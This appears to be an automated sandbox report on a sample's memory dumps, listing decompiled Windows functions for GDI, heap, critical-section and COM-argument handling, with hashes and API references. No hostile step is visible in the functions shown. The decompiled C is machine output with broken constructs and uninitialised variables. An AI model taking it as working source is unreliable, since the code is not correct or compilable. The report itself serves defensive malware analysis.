Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: d25fc446c9e5bda0e35d4f90d200c47a1b09334c8f04f78fadf0ab144f4f0c55
Instruction ID: 27fef78d7b27ca45b0bec9a44cc77da21c6a4fa1e7b02026ea630ff9ce535fff
Opcode Fuzzy Hash: d25fc446c9e5bda0e35d4f90d200c47a1b09334c8f04f78fadf0ab144f4f0c55
Instruction Fuzzy Hash: 81F03AF0A80241ABD7209B28DD4DF16BBBCEF04748F548898F99AD7191C730EC24CA55

Uniqueness

Uniqueness Score: -1.00%

Function 003A4BD0, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003A4BD0() {
				intOrPtr _v28;
				void* _t4;
				intOrPtr _t8;
				struct HDC__* _t9;
				struct tagTEXTMETRICA* _t10;

				_t8 = 1;
				_t9 = GetDC(0);
				if(_t9 != 0) {
					_t4 =  *0x3db8a8; // 0x18a002e
					if(SelectObject(_t9, _t4) != 0 && GetTextMetricsA(_t9, _t10) != 0) {
						_t8 = _v28;
					}
					ReleaseDC(0, _t9);
				}
				return _t8;
			}

0x003a4bd5
0x003a4bde
0x003a4be2
0x003a4be4
0x003a4bf2
0x003a4bff
0x003a4bff
0x003a4c06
0x003a4c06
0x003a4c12

APIs

GetDC.USER32(00000000), ref: 003A4BD9
SelectObject.GDI32(00000000,018A002E), ref: 003A4BEB
GetTextMetricsA.GDI32(00000000), ref: 003A4BF6
ReleaseDC.USER32(00000000,00000000), ref: 003A4C06

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsObjectReleaseSelectText
String ID:
API String ID: 2013942131-0
Opcode ID: e87f17bb69ef31bdad97b532b3b54ecd443d877520ddefae7ce1362cd616c85e
Instruction ID: c358302d4974d4496fbee48b76b1548ebc8722e58898fc0c7ba0323996f27000
Opcode Fuzzy Hash: e87f17bb69ef31bdad97b532b3b54ecd443d877520ddefae7ce1362cd616c85e
Instruction Fuzzy Hash: 9FE04F51647A6076D51372655D43BEB264C8F83761F090150FD489E2D6EA41CE0083F6

Uniqueness

Uniqueness Score: -1.00%

Function 00477239, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00477239() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x47d26c; // 0x18c
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x47d2b4; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x47d26c; // 0x18c
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x47d238; // 0x37d0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x00477239
0x00477240
0x0047728a
0x0047728c
0x0047728c
0x00477244
0x0047724a
0x0047724f
0x00477253
0x00477259
0x00477260
0x00000000
0x00000000
0x00477262
0x00477267
0x00000000
0x00000000
0x00000000
0x00477267
0x00477269
0x00477271
0x00477274
0x00477274
0x0047727a
0x00477281
0x00477284
0x00477284
0x00000000

APIs

SetEvent.KERNEL32(0000018C,00000001,00477EA0), ref: 00477244
SleepEx.KERNEL32(00000064,00000001), ref: 00477253
CloseHandle.KERNEL32(0000018C), ref: 00477274
HeapDestroy.KERNEL32(037D0000), ref: 00477284

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: e7b27a2eec343e549263bd72aa59cb08def9daa4ce68c9b797640f83fed1fe46
Instruction ID: dcd923a539f8ceaa4cd54659a07d1b251ab1835aa5771ca4e3ce3601b02edb6a
Opcode Fuzzy Hash: e7b27a2eec343e549263bd72aa59cb08def9daa4ce68c9b797640f83fed1fe46
Instruction Fuzzy Hash: 15F0A030B09301CBDB206BB5AD88B4737B8BF1475170441A5B81DE33A2EF28CC808AA8

Uniqueness

Uniqueness Score: -1.00%

Function 004729B7, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E004729B7(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x47d324; // 0x3bc97d8
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x47d324; // 0x3bc97d8
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x47d030) {
					HeapFree( *0x47d238, 0, _t8);
				}
				_t14[1] = E00476A2E(_v0, _t14);
				_t11 =  *0x47d324; // 0x3bc97d8
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x004729b7
0x004729b7
0x004729c0
0x004729d0
0x004729d0
0x004729d5
0x004729da
0x00000000
0x00000000
0x004729ca
0x004729ca
0x004729dc
0x004729e0
0x004729f2
0x004729f2
0x00472a02
0x00472a05
0x00472a0a
0x00472a0e
0x00472a14

APIs

RtlEnterCriticalSection.NTDLL(03BC9798), ref: 004729C0
Sleep.KERNEL32(0000000A,?,00479199), ref: 004729CA
HeapFree.KERNEL32(00000000,00000000), ref: 004729F2
RtlLeaveCriticalSection.NTDLL(03BC9798), ref: 00472A0E

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: c1c8cb301f46574b7637059221cf2cca813fa2f756e7168e79d9ba0371a00f4d
Instruction ID: 73404b0d1357470b83e48ed54ecede8963eae0573a253af8f3d4b0d5254f602d
Opcode Fuzzy Hash: c1c8cb301f46574b7637059221cf2cca813fa2f756e7168e79d9ba0371a00f4d
Instruction Fuzzy Hash: D4F03AB0B10280DBE7108F68DE88B4A77F4BF24344F048429F54DE6261C624E880DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0047825F, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0047825F() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x47d324; // 0x3bc97d8
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x47d324; // 0x3bc97d8
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x47d324; // 0x3bc97d8
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x47e836) {
					HeapFree( *0x47d238, 0, _t10);
					_t7 =  *0x47d324; // 0x3bc97d8
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x0047825f
0x00478268
0x00478278
0x00478278
0x0047827d
0x00478282
0x00000000
0x00000000
0x00478272
0x00478272
0x00478284
0x00478289
0x0047828d
0x004782a0
0x004782a6
0x004782a6
0x004782af
0x004782b1
0x004782b5
0x004782bb

APIs

RtlEnterCriticalSection.NTDLL(03BC9798), ref: 00478268
Sleep.KERNEL32(0000000A,?,00479199), ref: 00478272
HeapFree.KERNEL32(00000000), ref: 004782A0
RtlLeaveCriticalSection.NTDLL(03BC9798), ref: 004782B5

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 638663eee4bc6d8b5d149747db0423df38773dc5a940d7332f4d66c4d8942f1d
Instruction ID: 6991fe91d5e29e53d8b721acba736ec2afb2e563c1f37cafef6056a95493e901
Opcode Fuzzy Hash: 638663eee4bc6d8b5d149747db0423df38773dc5a940d7332f4d66c4d8942f1d
Instruction Fuzzy Hash: 41F0B774A50240DFE714CF65DE99B5637F4BF18341B04806DE90A97361CB34AC80DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 003A2BCC, Relevance: 6.0, APIs: 4, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E003A2BCC(void* __eflags) {
				int _t14;
				intOrPtr _t20;
				void* _t21;

				DeleteObject( *(_t21 - 0x10));
				E00383898();
				E003838EC();
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(0x3a2c1d);
				DeleteDC( *(_t21 - 0x1c));
				_t14 = ReleaseDC(0,  *(_t21 - 0x18));
				if( *(_t21 - 0x10) != 0) {
					return GetObjectA( *(_t21 - 0x10), 0x54,  *(_t21 + 0xc));
				}
				return _t14;
			}

0x003a2bd0
0x003a2bd5
0x003a2bda
0x003a2be1
0x003a2be4
0x003a2be7
0x003a2bf0
0x003a2bfb
0x003a2c04
0x00000000
0x003a2c10
0x003a2c15

APIs

DeleteObject.GDI32(?), ref: 003A2BD0
DeleteDC.GDI32(?), ref: 003A2BF0
ReleaseDC.USER32(00000000,?), ref: 003A2BFB
GetObjectA.GDI32(?,00000054,?), ref: 003A2C10

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteObject$Release
String ID:
API String ID: 2600533906-0
Opcode ID: 154040d5f9eedf291a75ebe626f7bc391ebf6a79eacd3df2a98c5bbb8f3c9caa
Instruction ID: f43243efeae323b84da4a2d5e1fe99ba28168e933a96fad964aff8fe80bc5dcc
Opcode Fuzzy Hash: 154040d5f9eedf291a75ebe626f7bc391ebf6a79eacd3df2a98c5bbb8f3c9caa
Instruction Fuzzy Hash: 74E0C975A04305AAEB12FBE88847BBF73A8EB44710F404455F6149B181CA7598448B21

Uniqueness

Uniqueness Score: -1.00%

Function 003D5D64, Relevance: 6.0, APIs: 4, Instructions: 15
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D5D64(void* __eax) {
				void* _t7;

				_t2 = __eax;
				_t7 = __eax;
				if(__eax != 0) {
					GlobalFix(__eax);
					DeleteMetaFile( *(_t2 + 0xc));
					GlobalUnWire(_t7);
					return GlobalFree(_t7);
				}
				return __eax;
			}

0x003d5d64
0x003d5d65
0x003d5d69
0x003d5d6c
0x003d5d75
0x003d5d7b
0x00000000
0x003d5d81
0x003d5d87

APIs

GlobalFix.KERNEL32(?), ref: 003D5D6C
DeleteMetaFile.GDI32(?), ref: 003D5D75
GlobalUnWire.KERNEL32(?), ref: 003D5D7B
GlobalFree.KERNEL32(?), ref: 003D5D81

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$DeleteFileFreeMetaWire
String ID:
API String ID: 512650338-0
Opcode ID: d48877cc03ce70c5060008eaf7a55d031b004f1d3e0ae890bbddb4b1100885e5
Instruction ID: c6f713ccd463ee2a3b76f7a9a0e0c21f5deb45f955d66abf4040819a613734eb
Opcode Fuzzy Hash: d48877cc03ce70c5060008eaf7a55d031b004f1d3e0ae890bbddb4b1100885e5
Instruction Fuzzy Hash: FEC04CD67007412BC9537BF55CC7D0B568C1E183223556DD1B1059F213CEA9C4008770

Uniqueness

Uniqueness Score: -1.00%

Function 00386A80, Relevance: 6.0, APIs: 4, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00386A80(void* __eax, int __ecx, long __edx) {
				void* _t2;
				void* _t4;

				_t2 = GlobalHandle(__eax);
				GlobalUnWire(_t2);
				_t4 = GlobalReAlloc(_t2, __edx, __ecx);
				GlobalFix(_t4);
				return _t4;
			}

0x00386a83
0x00386a8a
0x00386a8f
0x00386a95
0x00386a9a

APIs

GlobalHandle.KERNEL32 ref: 00386A83
GlobalUnWire.KERNEL32(00000000), ref: 00386A8A
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 00386A8F
GlobalFix.KERNEL32(00000000), ref: 00386A95

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocHandleWire
String ID:
API String ID: 2210401237-0
Opcode ID: a644381f4f39c2cb4204c93a7b019ff29042e08a1962a0ddd79bd267b9d70199
Instruction ID: b23a455183d77a54f7f4ada2c3986df95d9fdc454debb2c9b232e6d271523454
Opcode Fuzzy Hash: a644381f4f39c2cb4204c93a7b019ff29042e08a1962a0ddd79bd267b9d70199
Instruction Fuzzy Hash: 10B009C4A2030478EC4673B04C0BF3F062C98C57453A05DC97408EA003D9AEA8000672

Uniqueness

Uniqueness Score: -1.00%

Function 003D44DC, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E003D44DC(intOrPtr* __eax, void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __fp0, signed int _a4, signed int* _a8) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _v20;
				signed int* _v24;
				signed int* _v28;
				signed int _v32;
				signed int* _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v52;
				char _v84;
				signed int _v1620;
				signed int _t142;
				intOrPtr _t143;
				intOrPtr* _t144;
				intOrPtr _t147;
				signed char _t157;
				signed char _t158;
				signed int* _t165;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t224;
				intOrPtr _t225;
				intOrPtr _t226;
				intOrPtr _t227;
				signed int _t256;
				intOrPtr* _t258;
				void* _t260;
				void* _t261;
				intOrPtr _t262;
				void* _t276;

				_t276 = __fp0;
				_t260 = _t261;
				_t262 = _t261 + 0xfffff9b0;
				_v12 = __ecx;
				_t258 = __edx;
				_v8 = __eax;
				_t224 =  *0x394218; // 0x39421c
				E00384828( &_v84, _t224);
				_push(_t260);
				_push(0x3d480f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t262;
				_v20 = 0;
				_t211 = 0;
				_push(_t260);
				_push(0x3d47ec);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t262;
				_t256 =  *(__edx + 1) & 0x000000ff;
				if(_t256 > 0x40) {
					_t211 =  *0x3d9f68; // 0x3d3f40
					E0038B680(_t211, 1);
					E00383870();
				}
				if(_t256 == 0) {
					L25:
					_v52 =  &_v1620;
					_v48 = _v12 + 4;
					_v44 = _t256;
					_v40 = 0;
					_t225 =  *_v12;
					_t142 =  *_t258;
					if(0 != 4) {
						__eflags = 0 - 1;
						if(0 == 1) {
							__eflags = _t256;
							if(__eflags == 0) {
								__eflags = _a4;
								if(__eflags != 0) {
									_t142 = 3;
								}
							}
						}
					} else {
						if((_v1620 & 0x00000fff) == 9) {
							_t142 = 8;
						}
						 *_v12 = 0xfffffffd;
						_v48 = _v48 - 4;
						_v40 = _v40 + 1;
					}
					_push(0);
					_push( &_v84);
					_push(_a4);
					_push( &_v52);
					_push(_t142);
					_push(0);
					_t143 =  *0x3d9e70; // 0x3d93c0
					_push(_t143);
					_push(_t225);
					_t144 = _v8;
					_push(_t144);
					if( *((intOrPtr*)( *_t144 + 0x18))() != 0) {
						E003D4ABC();
					}
					_t207 = _v20;
					if(_t207 == 0) {
						L39:
						_t147 = 0;
						_pop(_t226);
						 *[fs:eax] = _t226;
						_push(0x3d47f3);
						_t208 = _v20;
						if(_t208 == 0) {
							L41:
							return _t147;
						} else {
							goto L40;
						}
						do {
							L40:
							_t208 = _t208 - 1;
							_t147 =  *((intOrPtr*)(_t260 + _t208 * 8 - 0x250));
							_push(_t147);
							L00394460();
						} while (_t208 != 0);
						goto L41;
					} else {
						do {
							_t207 = _t207 - 1;
							_t148 = _t260 + _t207 * 8 - 0x250;
							_t227 =  *((intOrPtr*)(_t260 + _t207 * 8 - 0x250 + 4));
							_t272 = _t227;
							if(_t227 != 0) {
								E00384C64( *_t148,  *_t148, _t227, _t272);
							}
						} while (_t207 != 0);
						goto L39;
					}
				} else {
					_v24 = _a8;
					_v28 = _t260 + (_t256 + _t256) * 8 - 0x650;
					_t209 = 0;
					do {
						_v28 = _v28 - 0x10;
						_t157 =  *((intOrPtr*)(_t258 + _t209 + 3));
						_v16 = _t157 & 0x7f;
						_t158 = _t157 & 0x00000080;
						if(_v16 != 0xa) {
							__eflags = _v16 - 0x48;
							if(_v16 != 0x48) {
								__eflags = _t158;
								if(_t158 == 0) {
									__eflags = _v16 - 0xc;
									if(_v16 != 0xc) {
										 *_v28 = _v16;
										_v28[2] =  *_v24;
										__eflags = _v16 - 5;
										if(_v16 >= 5) {
											__eflags = _v16 - 7;
											if(_v16 <= 7) {
												_t93 =  &_v24;
												 *_t93 =  &(_v24[1]);
												__eflags =  *_t93;
												_v28[3] =  *_v24;
											}
										}
									} else {
										__eflags =  *_v24 - 0x100;
										if( *_v24 != 0x100) {
											_t165 = _v24;
											 *_v28 =  *_t165;
											_v28[1] = _t165[1];
											_t211 = _v28;
											_v28[2] = _t165[2];
											_v28[3] = _t165[3];
											_v24 =  &(_v24[3]);
										} else {
											_v36 = _t260 + _v20 * 8 - 0x250;
											 *_v36 = E00384C88(_v24[2], _t211);
											_v36[1] = 0;
											 *_v28 = 8;
											_v28[2] =  *_v36;
											_v20 = _v20 + 1;
										}
									}
									goto L23;
								}
								__eflags = _v16 - 0xc;
								if(_v16 == 0xc) {
									__eflags =  *( *_v24) - 0x100;
									if( *( *_v24) == 0x100) {
										_t211 = 8;
										E0038F144( *_v24, 8,  *_v24, _t256, _t276);
									}
								}
								 *_v28 = _v16 | 0x00004000;
								_v28[2] =  *_v24;
								goto L23;
							} else {
								_v32 = _t260 + _v20 * 8 - 0x250;
								__eflags = _t158;
								if(_t158 == 0) {
									 *_v32 = E00384C88( *_v24, _t211);
									__eflags = 0;
									 *(_v32 + 4) = 0;
									 *_v28 = 8;
									_v28[2] =  *_v32;
								} else {
									 *_v32 = E00384C88( *( *_v24), _t211);
									 *(_v32 + 4) =  *_v24;
									 *_v28 = 0x4008;
									_v28[2] = _v32;
								}
								_v20 = _v20 + 1;
								L23:
								_t98 =  &_v24;
								 *_t98 =  &(_v24[1]);
								__eflags =  *_t98;
								goto L24;
							}
						} else {
							 *_v28 = 0xa;
							_v28[2] = 0x80020004;
						}
						L24:
						_t209 = _t209 + 1;
					} while (_t256 != _t209);
					goto L25;
				}
			}

0x003d44dc
0x003d44dd
0x003d44df
0x003d44e8
0x003d44eb
0x003d44ed
0x003d44f3
0x003d44f9
0x003d4500
0x003d4501
0x003d4506
0x003d4509
0x003d450e
0x003d4511
0x003d4513
0x003d4514
0x003d4519
0x003d451c
0x003d451f
0x003d4526
0x003d4528
0x003d4535
0x003d453a
0x003d453a
0x003d4541
0x003d470a
0x003d4710
0x003d4719
0x003d471c
0x003d4724
0x003d472a
0x003d472e
0x003d4733
0x003d475d
0x003d4760
0x003d4762
0x003d4764
0x003d4766
0x003d476a
0x003d476c
0x003d476c
0x003d476a
0x003d4764
0x003d4735
0x003d4744
0x003d4746
0x003d4746
0x003d474e
0x003d4754
0x003d4758
0x003d4758
0x003d4771
0x003d4776
0x003d477a
0x003d477e
0x003d477f
0x003d4780
0x003d4782
0x003d4787
0x003d4788
0x003d4789
0x003d478c
0x003d4794
0x003d4799
0x003d4799
0x003d479e
0x003d47a3
0x003d47c5
0x003d47c5
0x003d47c7
0x003d47ca
0x003d47cd
0x003d47d2
0x003d47d7
0x003d47eb
0x003d47eb
0x00000000
0x00000000
0x00000000
0x003d47d9
0x003d47d9
0x003d47d9
0x003d47da
0x003d47e1
0x003d47e2
0x003d47e7
0x00000000
0x003d47a5
0x003d47a5
0x003d47a5
0x003d47a6
0x003d47ad
0x003d47b0
0x003d47b2
0x003d47bc
0x003d47bc
0x003d47c1
0x00000000
0x003d47a5
0x003d4547
0x003d454a
0x003d4558
0x003d455b
0x003d455d
0x003d455d
0x003d4561
0x003d4570
0x003d4573
0x003d4579
0x003d4593
0x003d4597
0x003d460d
0x003d460f
0x003d4656
0x003d465a
0x003d46d5
0x003d46df
0x003d46e2
0x003d46e6
0x003d46e8
0x003d46ec
0x003d46ee
0x003d46ee
0x003d46ee
0x003d46fa
0x003d46fa
0x003d46ec
0x003d465c
0x003d465f
0x003d4664
0x003d46a4
0x003d46ac
0x003d46b4
0x003d46ba
0x003d46bd
0x003d46c6
0x003d46c9
0x003d4666
0x003d4670
0x003d4681
0x003d4688
0x003d468e
0x003d469c
0x003d469f
0x003d469f
0x003d4664
0x00000000
0x003d465a
0x003d4611
0x003d4615
0x003d461c
0x003d4621
0x003d462f
0x003d4634
0x003d4634
0x003d4621
0x003d4644
0x003d464e
0x00000000
0x003d4599
0x003d45a3
0x003d45a6
0x003d45a8
0x003d45e7
0x003d45ec
0x003d45ee
0x003d45f4
0x003d4602
0x003d45aa
0x003d45b9
0x003d45c3
0x003d45c9
0x003d45d5
0x003d45d5
0x003d4605
0x003d46fd
0x003d46fd
0x003d46fd
0x003d46fd
0x00000000
0x003d46fd
0x003d457b
0x003d457e
0x003d4587
0x003d4587
0x003d4701
0x003d4701
0x003d4702
0x00000000
0x003d455d

APIs

SysFreeString.OLEAUT32(?), ref: 003D47E2

Strings

@?=, xrefs: 003D4528
H, xrefs: 003D4593

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeString
String ID: @?=$H
API String ID: 3341692771-2479167844
Opcode ID: e812b6996c39d8f5cdaf062e109bb4bac3eeb0b681325cf82d1e569d71a7357d
Instruction ID: f3306ae2d93a1de812b9c17bcb641c807c73afb1408a33f78596e4b58bb7987e
Opcode Fuzzy Hash: e812b6996c39d8f5cdaf062e109bb4bac3eeb0b681325cf82d1e569d71a7357d
Instruction Fuzzy Hash: 1DB1F8B5A0020A8FDB01CF98D481AAEB7F5FF4A314F2185AAE915AB350D730AD45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003D765C, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
comwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E003D765C(intOrPtr __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v9;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v80;
				intOrPtr _v84;
				intOrPtr _v104;
				char _v112;
				intOrPtr* _t102;
				intOrPtr* _t111;
				char* _t115;
				intOrPtr* _t119;
				intOrPtr* _t129;
				intOrPtr* _t137;
				intOrPtr* _t141;
				intOrPtr _t147;
				intOrPtr _t156;
				intOrPtr _t159;
				intOrPtr _t160;
				intOrPtr _t161;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t167;
				void* _t169;
				void* _t170;
				intOrPtr _t171;

				_t169 = _t170;
				_t171 = _t170 + 0xffffff94;
				_v20 = 0;
				_v24 = 0;
				_v16 = __ecx;
				_v9 = __edx;
				_v8 = __eax;
				_t156 =  *0x3941c0; // 0x3941c4
				E00384828( &_v112, _t156);
				_push(_t169);
				_push(0x3d7895);
				_push( *[fs:eax]);
				 *[fs:eax] = _t171;
				_t147 =  *((intOrPtr*)(_v8 + 0x220));
				if(_v9 == 0) {
					 *((intOrPtr*)(_v8 + 0x220)) = 1;
					_t165 = 2;
				} else {
					 *((intOrPtr*)(_v8 + 0x220)) = 4;
					_t165 = 1;
				}
				_t167 =  *((intOrPtr*)(_v8 + 0x220));
				if(_t147 != _t167 || _t167 == 4) {
					_t158 =  *((intOrPtr*)(_v8 + 0x21c));
					E003857C0( &_v20, 0x3d78a4,  *((intOrPtr*)(_v8 + 0x21c)));
					_t175 = _t147 - _t167;
					if(_t147 != _t167) {
						_t119 = _v20;
						E003D42C0( *((intOrPtr*)( *_t119 + 0x14))(_t119, E0038577C( &_v24)), _t158, _t175);
						if(_v24 != 0) {
							while(1) {
								_push(0);
								_t163 =  *0x3941c0; // 0x3941c4
								_push(E003848EC( &_v112, _t163));
								_push(1);
								_t137 = _v24;
								_push(_t137);
								if( *((intOrPtr*)( *_t137 + 0xc))() != 0) {
									goto L11;
								}
								__eflags = _t147 - _v104;
								if(_t147 == _v104) {
									_t141 = _v20;
									 *((intOrPtr*)( *_t141 + 0x10))(_t141, _v84);
								}
							}
						}
						L11:
						E00382B10( &_v52, 0x14);
						_v44 =  *((intOrPtr*)(_v8 + 0x220));
						_v40 = 0xffffffff;
						_t129 = _v20;
						E003D42C0( *((intOrPtr*)( *_t129 + 0xc))(_t129,  &_v52, _t165,  &_v28), 0x14, 0);
						_t158 = 1;
						E003D7A74(_v8, _t147, 1, _t167);
					}
					if( *((intOrPtr*)(_v8 + 0x220)) != 4) {
						__eflags =  *((intOrPtr*)(_v8 + 0x220)) - 1;
						if(__eflags == 0) {
							E003D7B20(_v8, _t158);
						}
						E003D7CE0(_v8, _t147, _t167, __eflags);
						goto L19;
					} else {
						_v32 = 0;
						_t180 = _v16;
						if(_v16 == 0) {
							_t111 =  *((intOrPtr*)(_v8 + 0x21c));
							E003D42C0( *((intOrPtr*)( *_t111 + 0x3c))(_t111,  &_v80), _t158, _t180);
							_push(0xffffffff);
							_push(0);
							_t115 =  &_v80;
							_push(_t115);
							L00394448();
							_v32 = _t115;
							_v16 = _v32;
						}
						 *[fs:eax] = _t171;
						_v52 = 3;
						_v48 = 0;
						_v44 = 4;
						_v40 = 0xffffffff;
						_v36 = 0x20;
						_v64 = 0x20;
						_v60 = _v16;
						_v56 = 0;
						_t102 = _v20;
						E003D42C0( *((intOrPtr*)( *_t102 + 0x1c))( &_v52,  &_v64, 0,  *[fs:eax], 0x3d7846, _t169), _t158, _t180);
						_t161 = _t102;
						 *[fs:eax] = _t161;
						_push(0x3d784d);
						return E003D5D64(_v32);
					}
				} else {
					L19:
					__eflags = 0;
					_pop(_t159);
					 *[fs:eax] = _t159;
					_push(0x3d789c);
					_t160 =  *0x3941c0; // 0x3941c4
					E003848EC( &_v112, _t160);
					E0038577C( &_v24);
					return E0038577C( &_v20);
				}
			}

0x003d765d
0x003d765f
0x003d7667
0x003d766a
0x003d766d
0x003d7670
0x003d7673
0x003d7679
0x003d767f
0x003d7686
0x003d7687
0x003d768c
0x003d768f
0x003d7695
0x003d769f
0x003d76b8
0x003d76c2
0x003d76a1
0x003d76a4
0x003d76ae
0x003d76ae
0x003d76ca
